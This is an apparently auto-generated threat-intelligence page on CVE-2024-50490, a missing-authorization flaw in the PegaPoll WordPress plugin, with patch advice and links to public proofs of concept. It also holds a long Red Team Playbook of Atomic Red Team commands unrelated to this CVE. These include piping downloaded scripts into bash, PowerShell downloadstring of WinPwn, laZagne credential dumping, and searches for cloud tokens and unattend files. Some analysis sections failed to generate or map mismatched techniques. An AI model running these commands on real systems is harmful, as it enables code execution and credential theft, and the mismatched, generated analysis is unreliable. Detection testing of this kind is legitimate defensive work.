CVE-2024-50490
Overview
This vulnerability is an access control weakness classified as Missing Authorization (CWE-862) in the lowcage PegaPoll plugin. The root cause is the failure to enforce proper Access Control Lists (ACLs) on certain functionality within the plugin, allowing unauthorized users to invoke privileged actions. The affected component is the PegaPoll plugin versions up to and including 1.0.2, where critical functions lack necessary authorization checks.
Vulnerability Description
Missing Authorization vulnerability in lowcage PegaPoll pegapoll allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects PegaPoll: from n/a through <= 1.0.2.
Impact
An attacker can exploit this vulnerability without authentication to escalate privileges, modify plugin configurations, or potentially alter application behavior. This unauthorized access can lead to full administrative control over the plugin's settings, enabling further exploitation or persistence within the affected WordPress environment. The business impact includes potential data breaches, unauthorized configuration changes, and compromise of site integrity or availability.
Solution
Apply the security update provided by lowcage for the PegaPoll plugin by upgrading to version 1.0.3 or later, as detailed in the advisory on Patchstack (https://patchstack.com/database/Wordpress/Plugin/pegapoll/vulnerability/wordpress-pegapoll-plugin-1-0-2-arbitrary-option-update-to-privilege-escalation-vulnerability?_s_id=cve). This update addresses the missing authorization checks. Site administrators should prioritize this patch to mitigate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Overview
Analysis generation failed
Threat Summary
Analysis generation failed
Full Analysis
The identified vulnerability in the lowcage PegaPoll application stems from inadequate access control mechanisms, specifically a missing authorization check that allows users to access functionalities that should be restricted. This flaw arises from the application's failure to enforce Access Control Lists (ACLs) effectively, which means that unauthorized users can exploit this weakness to perform actions or retrieve data that they should not have access to. The absence of proper validation of user permissions creates a significant security gap, allowing for potential misuse of the application’s features.
Exploitation of this vulnerability can occur through various attack vectors. An attacker with basic knowledge of the application's interface could manipulate requests to access restricted functionalities. For instance, by crafting specific API calls or modifying parameters in the application’s front-end, an unauthorized user could gain access to sensitive data or administrative functions. This exploitation can be particularly damaging in scenarios where the application is integrated with other systems, as it may allow attackers to pivot and access additional resources within an organization’s network. Furthermore, if the application is deployed in a public-facing environment, the risk of exploitation increases significantly, as malicious actors can easily probe for weaknesses.
The real-world impact of this vulnerability can be profound, particularly for organizations relying on PegaPoll for critical operations. Unauthorized access to sensitive functionalities can lead to data breaches, loss of confidential information, and potential compliance violations, especially in regulated industries such as finance and healthcare. The business risks associated with such incidents include reputational damage, financial losses due to remediation efforts, and potential legal ramifications stemming from data protection laws. Additionally, the high CVSS score indicates that this vulnerability poses a severe threat, making it imperative for organizations to address it promptly to safeguard their assets.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments, including penetration testing and code reviews, can help identify weaknesses in access control mechanisms before they can be exploited. Additionally, employing automated tools to monitor application traffic and user behavior can assist in detecting anomalous activities indicative of exploitation attempts. On the mitigation front, organizations should ensure that proper authorization checks are integrated into all functionalities, especially those that handle sensitive data or administrative tasks. Regular updates and patches to the application should also be prioritized to address any security flaws as they are discovered.
In conclusion, the missing authorization vulnerability in lowcage PegaPoll represents a critical security concern that requires immediate attention from affected organizations. The potential for unauthorized access to restricted functionalities poses significant risks, both operationally and financially. By adopting comprehensive detection and mitigation strategies, organizations can enhance their security posture and protect against the exploitation of this vulnerability. Continuous vigilance and proactive security measures are essential in today’s evolving threat landscape to ensure that applications remain resilient against unauthorized access and other cyber threats.
CSURFACE threat intelligence has identified a significant development regarding CVE-2024-50490: a publicly available proof-of-concept exploit has emerged on GitHub, marking the first known instance of exploit code in the wild. This development has precipitated a reassessment of the vulnerability’s severity, reflected by the CVSS score adjustment to 9.8 and an EPSS score now exceeding 0.5, placing it in the upper percentile for exploitation likelihood. Our telemetry indicates that this availability of exploit code substantially lowers the barrier for threat actors to weaponize the vulnerability, increasing the risk of unauthorized access to sensitive functionalities within affected PegaPoll versions. The presence of a stable yet elevated EPSS score suggests that exploitation attempts may soon become more frequent or widespread. Consequently, the threat level has escalated from theoretical to imminent, underscoring the urgency for defenders to prioritize detection and response capabilities. This shift signals a marked escalation in the exploitation landscape, where opportunistic attackers can now leverage accessible tools to compromise vulnerable systems with minimal effort.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
PoC
|
- | 0 | 0 | - | View |
|
RandomRobbieBF/CVE-2024-50490
PegaPoll <= 1.0.2 - Unauthenticated Arbitrary Options Update
|
RandomRobbieBF | 0 | 0 | 2024-11-05 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
42%
|
Low | Very High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-50490 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/Wordpress/Plugin/pegapoll/vulnerability/wordpress-pegapoll-plugin-1-0-2-arbitrary-option-update-to-privilege-escalation-vulnerability?_s_id=cve |